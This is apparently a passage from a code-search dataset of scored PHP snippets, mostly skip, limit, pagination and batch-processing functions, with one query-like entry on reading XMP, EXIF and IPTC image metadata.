{\n\t\t$this->queryChanged = true;\n\t\treturn parent::skip($skip);\n\t}", "title": "" }, { "docid": "cd01c87e4ec9613f1b0ff7ba10ef2359", "score": "0.45451143", "text": "function skipField($fieldName){\n\n\t\t// apply to nodes if a multiform root \n\t\tif( $this->_multi == 'root' ){\n\t\t\treturn $this->_applyMethod('skipField', array($fieldName), $fieldName);\n\t\t}\n\t\t// otherwise as normal\n\t\t$this->skip[$fieldName] = true;\n\n\t}", "title": "" }, { "docid": "660d6b0456f731dd288ea901f2f01a69", "score": "0.45437643", "text": "private function closeRemainingPages()\n {\n foreach ($this->pageWriters as $key => $pageWriter) {\n $this->pageIds[] = $pageWriter->writePage($this->objectWriter, $this->pageTreeId);\n unset($this->pageWriters[$key]);\n }\n }", "title": "" }, { "docid": "f4216c680cbbad8a76967f4f21ac80ef", "score": "0.45316303", "text": "public function next()\n {\n next($this->errors);\n\n --$this->count;\n }", "title": "" }, { "docid": "d348ccd529476108e3d37cdef0b99a38", "score": "0.4529387", "text": "public function skip($skip = 0)\n {\n if ($skip) {\n $this->_options['skip'] = $skip;\n }\n return $this;\n }", "title": "" }, { "docid": "d44be2198a52e4a83160af6e06e93523", "score": "0.4519439", "text": "public function limit($count);", "title": "" }, { "docid": "96d8f52454b50ea2ebc138ae95230621", "score": "0.45154458", "text": "public function skip($skip)\n {\n $this->_query['skip'] = $skip;\n return $this;\n }", "title": "" }, { "docid": "d706102453e24a707af4fb8719502881", "score": "0.44891813", "text": "function apachesolr_index_batch_index_remaining($env_id, $total_limit = null) {\n $batch = array(\n 'operations' => array(\n array(\n 'apachesolr_index_batch_index_entities',\n array(\n $env_id,\n $total_limit,\n ),\n ),\n ),\n 'finished' => 'apachesolr_index_batch_index_finished',\n 'title' => t('Indexing'),\n 'init_message' => t('Preparing to submit content to Solr for indexing...'),\n 'progress_message' => t('Submitting content to Solr...'),\n 'error_message' => t('Solr indexing has encountered an error.'),\n 'file' => drupal_get_path('module', 'apachesolr') . '/apachesolr.admin.inc',\n );\n batch_set($batch);\n}", "title": "" }, { "docid": "c8ea6adc7e650d4c0ffe24ee461fdc01", "score": "0.44871444", "text": "function take(int $num, iterable $iterable): \\Iterator {\n return slice($iterable, 0, $num);\n}", "title": "" }, { "docid": "33e220b268d7e371a572eb8070a8929a", "score": "0.44761944", "text": "public function skipStart()\n {\n $this->skip = true;\n \n return $this;\n }", "title": "" }, { "docid": "fe2449dcd59a80b5d33997b47a5b2555", "score": "0.4475776", "text": "public function skip()\n\t{\n\t\treturn false;\n\t}", "title": "" }, { "docid": "5d9abd2d45005b5eba65eafaec8cf7ef", "score": "0.44638082", "text": "public function step1()\n\t{\n\t\t$offset = isset( \\IPS\\Request::i()->extra ) ? \\IPS\\Request::i()->extra : 0;\n\n\t\t$select = new \\IPS\\Patterns\\ActiveRecordIterator( \\IPS\\Db::i()->select( '*', 'nexus_purchases', NULL, 'ps_id', array( $offset, 500) ), 'IPS\\nexus\\Purchase' );\n\t\tif ( count ( $select ) )\n\t\t{\n\t\t\tforeach ( $select as $purchase )\n\t\t\t{\n\t\t\t\t$member = \\IPS\\Member::load( $purchase->ps_member );\n\t\t\t\t\n\t\t\t\tif ( !$member->member_id )\n\t\t\t\t{\n\t\t\t\t\t$purchase->delete();\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $offset + 500;\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\tunset( $_SESSION['_step1Count'] );\n\t\t\treturn TRUE;\n\t\t}\n\t}", "title": "" }, { "docid": "1f6cd117e2a22243b952597a7319d4b3", "score": "0.44526288", "text": "public function skip(int $amount): CursorInterface\n {\n $this->params[1]['skip'] = $amount;\n\n return $this;\n }", "title": "" }, { "docid": "d1a7393f733998620062e8970ed5af30", "score": "0.44444063", "text": "private function importPages() {\n printf(\"Importing pages\\n\");\n OldPage::query()->chunk($this->chunkSize, function($oldPages) {\n printf(\".\");\n foreach ($oldPages as $oldPage) {\n $newProject = $this->getNew(OldProject::class, Project::class, $oldPage->projectID);\n if (is_null($newProject)) continue;\n $newUser = $this->getNew(OldUser::class, User::class, $oldPage->userID);\n if (is_null($newUser)) continue;\n\n $newPage = new Page();\n $newPage->url = $oldPage->url;\n $newPage->title = $oldPage->title;\n $newPage->user_id = $newUser->id;\n $newPage->project_id = $newProject->id;\n $newPage->save();\n $this->addMapping(OldPage::class, $oldPage->pageID, $newPage->id);\n }\n }); \n }", "title": "" }, { "docid": "4fabe37adb2921feab0a42d42b95d111", "score": "0.4441802", "text": "private function nextItemFromNewBatch(): void\n {\n $this->currentBatch = $this->fetcher->fetchNext($this->maxBatchSize);\n\n if (empty($this->currentBatch)) {\n $this->current = null;\n } else {\n $this->next();\n }\n }", "title": "" }, { "docid": "71be60ad4f35110f32f3e6ceeb3df6ab", "score": "0.44287562", "text": "private function incrementNumberOfElementsToRemoveIfIsPossible()\n {\n if ($this->numberOfElementsToRemove < (count($this->trail) - 1)) {\n $this->numberOfElementsToRemove++;\n }\n }", "title": "" }, { "docid": "9128c59288288cbd8610f7998872b8ce", "score": "0.44238237", "text": "public function reviewedPreprintImportAll(array $options = [\n 'limit' => NULL,\n 'skip-updates' => NULL,\n ]) {\n $fetch_service = \\Drupal::service('jcms_article.fetch_reviewed_preprint');\n $crud_service = \\Drupal::service('jcms_article.reviewed_preprint_crud');\n\n $this->output()->writeln(dt('Fetching all reviewed preprint IDs. This may take a few minutes.'));\n $limit = $options['limit'] ? (int) $options['limit'] : NULL;\n if (!empty($limit)) {\n $fetch_service->setLimit($limit);\n }\n $reviewedPreprints = $fetch_service->getAllReviewedPreprints();\n $this->output()->writeln(dt('Received !count reviewed preprint IDs to process.', ['!count' => count($reviewedPreprints)]));\n if ($reviewedPreprints) {\n $time_start = microtime(TRUE);\n $num = 0;\n /** @var \\Drupal\\jcms_article\\Entity\\ReviewedPreprint $reviewedPreprint */\n foreach ($reviewedPreprints as $reviewedPreprint) {\n if ($options['skip-updates']) {\n $crud_service->skipUpdates();\n }\n $crud_service->crudReviewedPreprint($reviewedPreprint);\n $this->output()->writeln(dt('Processed reviewed preprint !reviewed_preprint_id (!num of !count)', [\n '!reviewed_preprint_id' => $reviewedPreprint->getId(),\n '!num' => ++$num,\n '!count' => count($reviewedPreprints),\n ]));\n }\n $time_end = microtime(TRUE);\n $time = round($time_end - $time_start, 0);\n $this->output()->writeln(dt('Processed !count reviewed preprints in !minutes minutes !seconds seconds.', [\n '!count' => count($reviewedPreprints),\n '!minutes' => floor($time / 60),\n '!seconds' => round($time % 60),\n ]));\n }\n }", "title": "" }, { "docid": "c9fb3b2a64e2df8493e676f4f09c1239", "score": "0.4423516", "text": "public function next()\n {\n next($this->collection);\n }", "title": "" }, { "docid": "c9fb3b2a64e2df8493e676f4f09c1239", "score": "0.4423516", "text": "public function next()\n {\n next($this->collection);\n }", "title": "" }, { "docid": "ea2464d6f20bb35b630beceb8560e088", "score": "0.44160035", "text": "function break_loop() {\n if (count($this->Page) > 0) {\n $this->Page[$this->Row] = FALSE;\n $this->Row++;\n }\n }", "title": "" }, { "docid": "c422c0524a8af99bcafff252fd18a2ea", "score": "0.44126424", "text": "public function excludeLastNLevel(int $count): self;", "title": "" }, { "docid": "f6a7262104f19d7ed770432335f10fb3", "score": "0.4408088", "text": "public static function skip($iter, $count) {\n foreach($iter as $k=>$v) {\n if($count > 0) {\n --$count;\n } else {\n yield $k => $v;\n }\n }\n }", "title": "" }, { "docid": "9321e6ccf56ff541a801f00ae6cd40db", "score": "0.44018862", "text": "public function skipFiles($files){\n\t\t$this->skipFiles = $files;\n\t}", "title": "" }, { "docid": "f31e0a8c7654191ea1aa3949839356c8", "score": "0.439865", "text": "protected function skip()\n {\n return false;\n }", "title": "" }, { "docid": "03065f4e9ad5e8c99bb07a0863bd354f", "score": "0.43984663", "text": "protected function applySkip(Query & $query)\n\t{\n\t\tif ($this->skip) {\n\t\t\t$query->offset($this->skip);\n\t\t}\n\t}", "title": "" }, { "docid": "fd605e00409dca63532d127f662a19d8", "score": "0.43807733", "text": "public function next(): void\n {\n next($this->routes);\n\n --$this->count;\n }", "title": "" }, { "docid": "012062c0d45e38bc6c6d53674a4c58e5", "score": "0.43756145", "text": "public function skip($offset) {\n $this->sql[\"offset\"] = \"OFFSET $offset\";\n return $this;\n }", "title": "" }, { "docid": "daa178d69b681f8446c18e38794b0e22", "score": "0.43589765", "text": "public function testSkippedObjects(): void\n {\n $objects = [\n new NotSearchableStub(),\n new NoDocumentBodyStub(),\n new NoSearchIdStub(),\n ];\n\n $expected = [];\n\n $handler = new TransformableSearchHandlerStub($objects);\n\n $client = new ClientStub();\n $populator = $this->getPopulator($client);\n\n $populator->populate($handler, '_suffix', 2);\n\n self::assertEquals($expected, $client->getUpdatedIndices());\n }", "title": "" }, { "docid": "f199ac48267d09840af05d9bd695ffcd", "score": "0.43526068", "text": "public function take($limit);", "title": "" }, { "docid": "46934cb7a3eea7f9bca06371ad1f2e2a", "score": "0.43507576", "text": "public function skip($skip)\n {\n $this->skip = $skip;\n\n return $this;\n }", "title": "" }, { "docid": "0a54d521c7adcd2bd645b3fdb871a956", "score": "0.4350656", "text": "public function skip($n)\n {\n $start = $this->currentPosition;\n\n $ret = @fseek($this->stream, $n, SEEK_CUR);\n if ($ret === -1) {\n return -1;\n }\n\n $this->currentPosition = ftell($this->stream);\n\n if ($start > $this->currentPosition) {\n $skipped = $start - $this->currentPosition;\n } else {\n $skipped = $this->currentPosition - $start;\n }\n\n return $skipped;\n }", "title": "" }, { "docid": "dee4bce749bdaf4fa88f23b0f8d973e4", "score": "0.43476757", "text": "public function getNewlyPublished(int $take = 10, int $skip = 0): Collection;", "title": "" }, { "docid": "94bfd3c89828c1fede0f33ac528ac342", "score": "0.4347321", "text": "public function skipRows($skipRows)\n {\n if (!is_array($skipRows)) {\n $skipRows = [intval($skipRows)];\n }\n $this->skipRows = $skipRows;\n }", "title": "" }, { "docid": "9a1315ba49e6ab98bb09b8b2360103cc", "score": "0.43360043", "text": "function slice(iterable $iterable, ?int $startIndex, ?int $stopIndexExclusive, int $step): \\Generator {\n\n if($step<1) {\n // Who will ever understand expressions with negative step size? guys working at nasa ???\n throw new \\InvalidArgumentException('Argument \"step\" must be >0 !');\n }\n\n if(\n ($startIndex===null || $startIndex===0)\n && $stopIndexExclusive===null\n && ($step===1)\n ){\n // nothing changed\n yield from $iterable;\n\n return;\n }\n\n $useLazyImpl = (\n $step>0\n && ($startIndex===null || (is_int($startIndex) && $startIndex>=0))\n && ($stopIndexExclusive===null || (is_int($stopIndexExclusive) && $stopIndexExclusive>=0))\n );\n if(!$useLazyImpl) {\n //delegate to array functions\n yield from arrays\\slice(iterableToArray($iterable), $startIndex, $stopIndexExclusive, $step);\n\n return;\n }\n\n // use generator approach\n if($startIndex===null) {\n $startIndex = 0;\n }\n\n $currentIndex=-1;\n $findAt = $startIndex;\n foreach ($iterable as $k=>$v) {\n $currentIndex++;\n\n // apply constraint: startIndex\n if($currentIndex<$startIndex) {\n // ignore\n continue;\n }\n\n if($stopIndexExclusive!==null) {\n // apply constraint: stopIndexExclusive\n if($currentIndex>=$stopIndexExclusive) {\n // done\n break;\n }\n }\n\n if($currentIndex===$findAt) {\n yield $k => $v;\n\n $findAt += $step;\n }\n }\n\n}", "title": "" }, { "docid": "85fc6dfb2119db38715dfd95f53be497", "score": "0.43340117", "text": "public function softSkip(): void\n {\n $this->softSkipped = true;\n }", "title": "" }, { "docid": "dd24a5ccfb253dc215b97ed36c5b41f1", "score": "0.4331512", "text": "public function reset() {\n $this->hasNext=-1;\n }", "title": "" }, { "docid": "111cf26b91e35ac514c606cbe92203e8", "score": "0.4324003", "text": "public function limitBy($count);", "title": "" }, { "docid": "41486b901589cd48f3ae6e5aea89533f", "score": "0.4309477", "text": "public function process( $batch_size = null );", "title": "" }, { "docid": "53b9cf15d51afaadacb93f7de8f0cc34", "score": "0.43081918", "text": "function skip_cart_products( $is_skip, $product_count ) {\n\n\t\tif ( $product_count >= 1 ) {\n\t\t\t$is_skip = true;\n\t\t}\n\n\t\treturn $is_skip;\n\t}", "title": "" }, { "docid": "8cd00467471d656486101ba86fa4beab", "score": "0.43037736", "text": "public function skip(int $skip): GetQuery\r\n\t{\r\n\t\t$this->queryServant->skip($skip);\r\n\t\treturn $this;\r\n\t}", "title": "" }, { "docid": "895ba0e069e95de2413bb369a04e59cc", "score": "0.4298664", "text": "private function fetchNextBatch()\n\t{\n\t\t// Update criteria according to match current batch key and size\n\t\t$this->searchModel->setDbCriteria($this->searchCriteria);\n\n\t\t$this->searchCriteria->offset = $this->nextBatchOffset;\n\t\t$this->searchCriteria->limit = $this->batchSize;\n\n\t\t// Retrieve items\n\t\t$this->currentBatchItems = $this->searchModel->findAll();\n\t\t$this->currentBatchKey++;\n\t\t$this->currentBatchItemKey = 0;\n\n\t\t// Check the results\n\t\t$this->currentBatchItemCount = count($this->currentBatchItems);\n\t\t$this->nextBatchOffset += $this->currentBatchItemCount;\n\n\t\tif ($this->currentBatchItemCount === 0) {\n\t\t\t// We received nothing\n\t\t\t$this->isCurrentBatchValid = false;\n\t\t\t$this->moreBatchesMayExist = false;\n\t\t} else {\n\t\t\t// We did receive data, but is it full?\n\t\t\t$this->isCurrentBatchValid = true;\n\t\t\t$this->moreBatchesMayExist = ($this->currentBatchItemCount == $this->batchSize);\n\t\t}\n\t}", "title": "" }, { "docid": "50cf488b982f32883aa6c54946ae9f82", "score": "0.4296913", "text": "public function testSkippingItems() {\n // Create a few items.\n for ($i = 1; $i <= 5; $i++) {\n $item = new DynamicItem();\n $item->set('id', $i);\n $this->parserResult->addItem($item);\n }\n\n // Implement AfterParseBase::alterItem() and throw an exception on items 3\n // and 5.\n $this->subscriber->expects($this->exactly(5))\n ->method('alterItem')\n ->will($this->returnCallback(function (ItemInterface $item, ParseEvent $event) {\n switch ($item->get('id')) {\n case 3:\n case 5:\n throw new SkipItemException();\n }\n }));\n\n // Run subscriber.\n $this->subscriber->afterParse($this->event);\n\n // Check which items are still on the parser result.\n $this->assertCount(3, $this->parserResult);\n $expected = [1, 2, 4];\n $i = 0;\n foreach ($this->parserResult as $item) {\n $this->assertEquals($expected[$i], $item->get('id'));\n $i++;\n }\n }", "title": "" }, { "docid": "19026efbcd2d0873f167b41ce94f9368", "score": "0.42951402", "text": "public function splitAllPages()\n {\n $strURI = Product::$baseProductUri . '/pdf/' . $this->getFileName() . '/split';\n $signedURI = Utils::sign($strURI);\n $responseStream = Utils::processCommand($signedURI, 'POST', '', '');\n $json = json_decode($responseStream);\n\n $dispatcher = AsposeApp::getEventDispatcher();\n\n $pageNumber = 1;\n foreach ($json->Result->Documents as $splitPage) {\n $splitFileName = basename($splitPage->Href);\n $strURI = Product::$baseProductUri . '/storage/file/' . $splitFileName;\n $signedURI = Utils::sign($strURI);\n $responseStream = Utils::processCommand($signedURI, 'GET', '', '');\n\n $fileName = $this->getFileName() . '_' . $pageNumber . '.pdf';\n $outputFile = AsposeApp::$outPutLocation . $fileName;\n\n Utils::saveFile($responseStream, $outputFile);\n echo $outputFile . '<br />'; // FIXME what is the function of this, why let the API echo?\n\n $event = new SplitPageEvent($outputFile, $pageNumber);\n $dispatcher->dispatch(SplitPageEvent::PAGE_IS_SPLIT, $event);\n\n $pageNumber++;\n }\n }", "title": "" }, { "docid": "bc6ff65e87cc889d4a4c1afcc93e0193", "score": "0.42930394", "text": "public function paginate($collection, ServerRequestInterface $request);", "title": "" }, { "docid": "90b6783868fd44da7f3a287f1681f03c", "score": "0.42911968", "text": "public function resetStages() {\n\t\tif ($this->scanType() == self::SCAN_TYPE_QUICK) { //Suppress for quick scans\n\t\t\treturn;\n\t\t}\n\t\twfConfig::set_ser('scanStageStatuses', $this->_defaultStageStatuses(), false, wfConfig::DONT_AUTOLOAD);\n\t}", "title": "" }, { "docid": "a5b87894ee9b5b5f5663b132572a0bc9", "score": "0.42790958", "text": "final protected function skip () {\n\t\treturn true;\n\t}", "title": "" }, { "docid": "a5b87894ee9b5b5f5663b132572a0bc9", "score": "0.42790958", "text": "final protected function skip () {\n\t\treturn true;\n\t}", "title": "" }, { "docid": "2240a0dbe7c82a8ee8213040a6788565", "score": "0.42671272", "text": "public function skip(int $offset)\n {\n $data = Arrays::skip($this->data, $offset);\n return self::make($data);\n }", "title": "" }, { "docid": "fc1457d577ac39a75bece9d2e940ebbe", "score": "0.4263961", "text": "public function nextStage() // todo: rename to moveStageForward()\n\t\t{\n\t\t\t$next = $this->getStageIndexByCode($this->stage) + 1;\n\n\t\t\tif(!isset($this->stageOrder[$next]))\n\t\t\t\t$this->stage = false;\n\t\t\telse\n\t\t\t\t$this->stage = $this->stageOrder[$next];\n\n\t\t\t$this->step = 0;\n\t\t}", "title": "" }, { "docid": "dab2ece7f15eafa9d397f01524832e60", "score": "0.4257705", "text": "public function skip(int $times = 1){\n\t\t$this->halt = $times;\n\t\t$this->switch_back = true;\n\t\treturn $this;\n\t\t\n\t}", "title": "" }, { "docid": "7ca3c4f5df4c8772b74f6e66ee7810ea", "score": "0.42539287", "text": "public function addSkip($count = 1) {\n $nullControl = TNullComponent::GetValue();\n for ($i=0; $i<$count; $i++)\n array_push($this->controls,$nullControl);\n }", "title": "" }, { "docid": "8fcdf2529dc4a38fce940019f58565a4", "score": "0.42472503", "text": "public function skip($value = true);", "title": "" }, { "docid": "1c06c59ff78afabc5d5a3d2c8fd152ff", "score": "0.42458794", "text": "function advance($n)\r\n\t{\r\n\t\t$this->cursor = min($this->cursor + $n, strlen($this->stream));\r\n\t}", "title": "" }, { "docid": "e95eda48da380d8ddecbedd5ddec7046", "score": "0.42411396", "text": "public function skip($int)\n {\n for ($i = 0; $i < $int; $i++) {\n if (null === $this->spl->fgetcsv()) {\n break;\n }\n }\n\n return $this;\n }", "title": "" }, { "docid": "d7b1372a4bac1eb7be205a92edb86ac0", "score": "0.42297867", "text": "protected function apply_skip($object=null)\n\t{\n\t\tif($object==null){\n\t\t\t$object = $this;\n\t\t}\n\t\t\n\t\tif($this->_skip !== FALSE){\n\t\t\t$object->offset($this->_skip);\n\t\t}\n\t\t\n\t\treturn $object;\n\t}", "title": "" }, { "docid": "f57ddc3bda627d4b0562ce15eab58da9", "score": "0.42260832", "text": "public function skipCriteria(bool $flag);", "title": "" }, { "docid": "57b633c2be7a0104e4958a9e26e71ec6", "score": "0.4217941", "text": "public function shouldSkip();", "title": "" }, { "docid": "41d68dd0f16f3988276cdc8468c06c80", "score": "0.42148528", "text": "function exemple_batch_multi_operation_op2_process($data_operation_2, $progress2, $limit2, &$context) {\n //- Extract a slice of the $records array from $progress2 with $limit2 length\n $sliced_data = array_slice($data_operation_2, $progress2, $limit2);\n foreach ($sliced_data as $data) {\n //- Do what you want with your data here\n }\n //- update progress for message\n $progress1 = $progress2 + $limit2;\n //- update message during each run so you know where you are in the process\n $context['message'] = 'Now Second Processing ' . $progress1 . ' - ' . $context['results'][0] . ' Processed';\n}", "title": "" }, { "docid": "f928a54b6ab1492c5129ad7f8f8c7694", "score": "0.420236", "text": "function skip_file()\n\t{\n\t\tif ($this->file_writing) return;\n\t\t\n\t\tif ($this->file_handle === false) return;\n\t\t\n\t\t$this->read_file();\n\t\t\n\t\treturn $this->next_file();\n\t}", "title": "" } ]
9bc931321526acf8233d90532016e5ae
function readMetadata (string $image) Reads the combined XMP, EXIF and IPTC data from the image and returns it as a merged array
[ { "docid": "9af72846c9d2205a0edf8a32d602b572", "score": "0.800656", "text": "public static function readMETA($image)\n {\n \t$self = self::getInstance();\n\t\t$METAdata = array();\n\t\t$XMPdata = array();\n\t\t$EXIFdata = array();\n\t\t$IPTCdata = array();\n\t\t/**\n\t\t * All functions should at least supply an empty array when\n\t\t * no data is found\n\t\t */\n\t\t$XMPdata = $self->readXMP($image);\n\t\t$EXIFdata = $self->readEXIF($image);\n\t\t$IPTCdata = $self->readIPTC($image);\n\n\t\t/**\n\t\t * Order of priority in processing: XMP, EXIF, IPTC\n\t\t * Find unique entries only and remove the empty entries\n\t\t */\n\t\t$METAdata = array_filter( array_unique( array_merge( $XMPdata , $EXIFdata , $IPTCdata ) ) );\n\n\t\t/**\n\t\t * Return result array\n\t\t */\n\t\treturn $METAdata;\n\t}", "title": "" } ]
[ { "docid": "f138615d83864f59ad3b9a94f5f7d9be", "score": "0.7962668", "text": "public static function readXMP($image)\n\t{\n\t\t$self = self::getInstance();\n\t\t$XMPdata = array();\n\t\t\n\t\t/**\n\t\t * Read a file into the output_buffer and assign it to $source\n\t\t */\n\t\tob_start();\n\t\treadfile($self->path . '/' . $image);\n\t\t$source = ob_get_contents();\n\t\tob_end_clean();\n\n\t\t/**\n\t\t * Define the start and endtag of the XMP meta block in the image\n\t\t */\n\t\t$xmpdata_start = strpos($source, \"<x:xmpmeta\");\n\t\t$xmpdata_end = strpos($source, \"</x:xmpmeta>\");\n\t\t$xmplenght = $xmpdata_end - $xmpdata_start;\n\n\t\t/**\n\t\t * Extract the XMP meta block\n\t\t */\n\t\t$xmpdata = substr($source, $xmpdata_start, $xmplenght + 12);\n\n\t\t/**\n\t\t * Use a regex to read out the data\n\t\t */\n\t\t$result = preg_match_all('/(<?(photoshop|crs|tiff|exif|aux)):(\\w+)?(>|=\")(.*?)(<\\/\\2:\\3>|\")/',\n\t\t\t$xmpdata, $tags, PREG_SET_ORDER);\n\t\tif ($result == true) \n\t\t{\n\t\t\tforeach ($tags as $tag) \n\t\t\t{\n\t\t\t\t/**\n\t\t\t\t * Add each value into the associative array $XMPdata\n\t \t\t\t */\n\t\t\t\t$XMPdata[$tag[3]] = $tag[5];\n\t\t\t}\n\t\t}\n\t\t\n\t\t/**\n\t\t * Return result array\n\t\t */\n\t\treturn $XMPdata;\n\t}", "title": "" }, { "docid": "6f32c3a6db7a8f06dfe4dbc9e054bdae", "score": "0.7665725", "text": "public static function getImageMetadata($imagefile) {\n\t\t$iptcdata = self::getIptcData($imagefile);\n\t\tif (true) { // whether to include EXIF information in metadata, change \"false\" to \"true\" to extract EXIF data\n\t\t\t$exifdata = self::getExifData($imagefile);\n\t\t} else {\n\t\t\t$exifdata = false;\n\t\t}\n\t\tif (is_array($iptcdata) && is_array($exifdata)) {\n\t\t\treturn array_merge($iptcdata, $exifdata);\n\t\t} elseif (is_array($iptcdata)) {\n\t\t\treturn $iptcdata;\n\t\t} elseif (is_array($exifdata)) {\n\t\t\treturn $exifdata;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "eb80043c8da559b908a06e4479924541", "score": "0.75299263", "text": "public function getMetadata(Entity\\Image $image)\n\t{\n\t\t$metadata = array();\n\t\t$fields = array(\n\t\t\t'Title' => './/ns:unittitle',\n\t\t\t'Creator' => '//ns:origination[@label=\"creator\"]',\n\t\t\t'Date' => './/ns:unitdate',\n\t\t\t'Notes' => './/ns:note'\n\t\t);\n\t\t$metadataId = $image->getId2();\n\t\t$unitId = $image->getId4();\n\n\t\t$metadataUrl = $this->fillUrl(self::METADATA_URL_PATTERN, $image);\n\t\t$response = $this->fetchXml($metadataUrl);\n\t\tif (!$response) {\n\t\t\treturn array();\n\t\t}\n\t\t$doc = new \\DOMDocument();\n\t\t$doc->loadXML($response);\n\t\t$xpath = new \\DOMXPath($doc);\n\t\t$xpath->registerNamespace('ns', 'urn:isbn:1-931666-22-9');\n\t\t$recordContainer = $xpath->query('//ns:unitid[.=\"'.$unitId.'\"]')->item(0);\n\t\tif ($recordContainer) {\n\t\t\t$recordContainer = $recordContainer->parentNode->parentNode;\n\t\t\tforeach ($fields as $name => $query) {\n\t\t\t\t$node = $xpath->query($query, $recordContainer)->item(0);\n\t\t\t\tif ($node) {\n\t\t\t\t\t$metadata[$name] = preg_replace('/\\s+/', ' ', $node->textContent);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $metadata;\n\t}", "title": "" }, { "docid": "5afcfa533a16ee4483265f289358a824", "score": "0.7493125", "text": "public function getMetadata(Entity\\Image $image)\n\t{\n\t\t$metadata = array();\n\t\t$fields = array(\n\t\t\t'Title' => './/ns:unittitle',\n\t\t\t'Creator' => '//ns:origination[@label=\"creator\"]',\n\t\t\t'Date' => './/ns:unitdate',\n\t\t\t'Notes' => './/ns:note'\n\t\t);\n\t\t$metadataId = $image->getId2();\n\t\t$unitId = $image->getId4();\n\n\t\t$metadataUrl = $this->fillUrl(self::METADATA_URL_PATTERN, $image);\n\t\t$xpath = $this->fetchXml($metadataUrl);\n\t\t$xpath->registerNamespace('ns', 'urn:isbn:1-931666-22-9');\n\t\t$recordContainer = $xpath->query('//ns:unitid[.=\"'.$unitId.'\"]')->item(0);\n\t\tif ($recordContainer) {\n\t\t\t$recordContainer = $recordContainer->parentNode->parentNode;\n\t\t\tforeach ($fields as $name => $query) {\n\t\t\t\t$node = $xpath->query($query, $recordContainer)->item(0);\n\t\t\t\tif ($node) {\n\t\t\t\t\t$metadata[$name] = preg_replace('/\\s+/', ' ', $node->textContent);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $metadata;\n\t}", "title": "" }, { "docid": "31326658e516cf691f1b58b1154e7360", "score": "0.71751535", "text": "public static function readIPTC($image)\n\t{\n\t\t$self = self::getInstance();\n\t\t$IPTCdata = array();\n\t\t$size = getimagesize($self->path . '/' . $image, $info);\n\n\t\t/**\n\t\t * Check if there is indeed an data block\n\t\t */\n\t\tif (is_array($info)) \n\t\t{\n\t\t\t/**\n\t\t\t * Try to parse the IPCT data block\n\t\t\t */\n\t\t if (array_key_exists('APP13',$info))\n\t\t {\n\t\t\t\t$iptc = iptcparse($info[\"APP13\"]);\n\t\t\t\t/**\n\t\t\t\t * If $iptc is an array there was data found.\n\t\t\t\t * Please note there can be many things stored into\n\t\t\t\t * the IPTC data. The biggest problem with it is that\n\t\t\t\t * it can be in a different language, depending on the\n\t\t\t\t * language of the image. There is no way to get a clean\n\t\t\t\t * array containing English array keys. Therefore the only\n\t\t\t\t * approach is to fill the array with specific IPTC blocks\n\t\t\t\t * @link http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/IPTC.html\n\t\t\t\t */\n\t\t\t\tif (is_array($iptc)) \n\t\t\t\t{\n\t\t\t\t\tif(array_key_exists(\"2#005\", $iptc))\n\t\t\t\t\t\t$IPTCdata['ObjectName'] = $iptc[\"2#005\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#010\", $iptc))\n\t\t\t\t\t\t$IPTCdata['Urgency'] = $iptc[\"2#010\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#015\", $iptc))\n\t\t\t\t\t\t$IPTCdata['Category'] = $iptc[\"2#015\"][0];\n\t\t\t\t\t/**\n\t\t\t\t\t * Note that sometimes SupplementalCategories contans multiple entries\n\t\t\t\t\t */\n\t\t\t\t \tif(array_key_exists(\"2#020\", $iptc))\n\t\t\t\t \t\t$IPTCdata['SupplementalCategories'] = $iptc[\"2#020\"][0];\n\t\t\t\t \tif(array_key_exists(\"2#025\", $iptc))\n\t\t\t\t\t\t$IPTCdata['Keywords'] = $iptc[\"2#025\"];\n\t\t\t\t\tif(array_key_exists(\"2#040\", $iptc))\n\t\t\t\t\t\t$IPTCdata['SpecialInstructions'] = $iptc[\"2#040\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#055\", $iptc))\n\t\t\t\t\t\t$IPTCdata['DateCreated'] = $iptc[\"2#055\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#080\", $iptc))\n\t\t\t\t\t\t$IPTCdata['By-line'] = $iptc[\"2#080\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#085\", $iptc))\n\t\t\t\t\t\t$IPTCdata['By-lineTitle'] = $iptc[\"2#085\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#090\", $iptc))\n\t\t\t\t\t\t$IPTCdata['City'] = $iptc[\"2#090\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#095\", $iptc))\n\t\t\t\t\t\t$IPTCdata['Province-State'] = $iptc[\"2#095\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#101\", $iptc))\n\t\t\t\t\t\t$IPTCdata['Country-PrimaryLocationName'] = $iptc[\"2#101\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#103\", $iptc))\n\t\t\t\t\t\t$IPTCdata['OriginalTransmissionReference'] = $iptc[\"2#103\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#105\", $iptc))\n\t\t\t\t\t\t$IPTCdata['Headline'] = $iptc[\"2#105\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#110\", $iptc))\n\t\t\t\t\t\t$IPTCdata['Credit'] = $iptc[\"2#110\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#115\", $iptc))\n\t\t\t\t\t\t$IPTCdata['Source'] = $iptc[\"2#115\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#116\", $iptc))\n\t\t\t\t\t\t$IPTCdata['CopyrightNotice'] = $iptc[\"2#116\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#118\", $iptc))\n\t\t\t\t\t\t$IPTCdata['Contact'] = $iptc[\"2#118\"][0];\n\t\t\t\t\tif(array_key_exists(\"2#120\", $iptc))\n\t\t\t\t\t\t$IPTCdata['Caption-Abstract'] = $iptc[\"2#120\"][0];\n\t\t\t\t}\n\t\t\t\t$IPTCdata = array_filter($IPTCdata);\n\t\t\t\t$size = $info = $iptc = null;\n\t\t\t\tunset($size, $info, $iptc);\n\t\t\t}\n\t\t}\n\n\t\t/**\n\t\t * Return result array\n\t\t */\n\t\treturn $IPTCdata;\n\t}", "title": "" }, { "docid": "75a44532f7cc61e7f83cd92fbd9577f1", "score": "0.67864186", "text": "public static function readEXIF($image)\n\t{\n\t\t/**\n\t\t * Based upon 